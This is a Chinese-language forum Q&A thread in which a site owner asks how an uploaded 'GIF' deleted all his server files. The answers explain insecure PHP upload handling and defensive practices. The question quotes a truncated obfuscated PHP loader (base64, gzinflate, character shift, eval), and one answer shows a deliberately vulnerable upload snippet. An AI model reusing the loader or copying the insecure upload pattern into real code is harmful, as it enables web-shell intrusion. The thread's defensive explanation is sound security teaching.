2012-09-23 36 views
0

我有一个Linux服务器,我有一个上传图像在我的网站,注册用户可以上传他的图片,当他登录到他的个人资料,他可以看到他的图像,他也可以得到他的形象的URL链接,所以图像上传到WWW/img目录中的服务器 我检查在PHP文件的扩展名,只允许(.png,.gif,.jpg)文件什么是缺陷,必须在文件上传

但我不知道为什么有人上传了一个GIF图像并删除了我的所有文件,我得到了由用户上传的图像,因为我们有RAID,图像的内容有点像.... ...

function vUMmFr($MkUOmK){$MkUOmK=gzinflate(base64_decode($MkUOmK));for($i=0;$i<strlen($MkUOmK);$i++){$MkUOmK[$i]=chr(ord($MkUOmK[$i])-1)}return $MkUOmK}eval(vUMmFr("7b1pe+M2sij8ved55j............ 

这是怎么回事,这是怎么发生的,所有的文件如何被删除? 什么语言是这样的,我怎么能防止删除文件..

+4

切勿允许用户上传的文档在doc根目录下。决不允许用户上传的文件在磁盘上被命名为其原始名称。命名没有文件扩展名的文件。永远不要相信原始文件名来确定文件类型。设置合理的上传大小限制。 – Brad

回答

4

你可能有一个非常糟糕的书面文件上传处理,一些盲目信任的用户提供了什么,把这些文件与原来的用户 - 为您的webroot中的公共可访问目录提供文件名。简而言之,你的文件上传脚本相当于一个大闪烁的霓虹灯,致使“HACK ME!”

例如,像这样:

<?php 

if ($_FILES['file']['type'] == 'image/gif') { 
    move_uploaded_files($_FILES['file']['tmp_name'], '/some/path/in/your/docroot/' . $_FILES['file']['name']); 
} 

事情错在这里是:

  1. 没有检查错误 - 文件上传失败有很多原因,而不是检查错误是非常糟糕的东西
  2. ['type']字段是用户提供的数据 - 恶意用户可以轻松伪造该MIME类型。他们可以很容易地上传'somescript.php',但将其标记为图像。
  3. 盲目使用['name']参数作为要存储文件的路径的一部分。同样,这也受用户控制。一名恶意用户和您的服务器将冲入厕所。
  4. 将文件存储在docroot中。因此,现在您允许任何类型的ANY文件上传任何名称。如果它是一个脚本,并且可以通过URL访问该文件的位置,那么现在允许远程用户在您的服务器上执行他们想要的任何代码。

简而言之,在处理文件上传时,您将文件视为即将爆炸的核弹,距离引爆0.001秒。您不要将它与原始文件名一起存储。您不会将其存储在用户可以访问的任何位置。您不要使用可预测的文件名来存储它。您在文件上进行服务器端验证。你抬起文件的裙子,看看引擎盖下面,以确定它应该是什么......即使如此,你仍然认为它在说谎。

+0

因为它是一个图像,我也需要用户能够获得图像的链接,如果他上传myphoto.gif,我需要为他提供一个网址,如 www.mysite.com/profiles/images/ 39488343.gif 如何保护?在此senario中,请让我知道 – Kajal

+0

@Kajal,将所有原始文件数据保存在某个数据库中,以便稍后可以检索它。使用您自己的PHP脚本从磁盘上的实际位置加载该文件。 – Brad

+0

@布拉德哦,这似乎很好,谢谢你的朋友 – Kajal

相关问题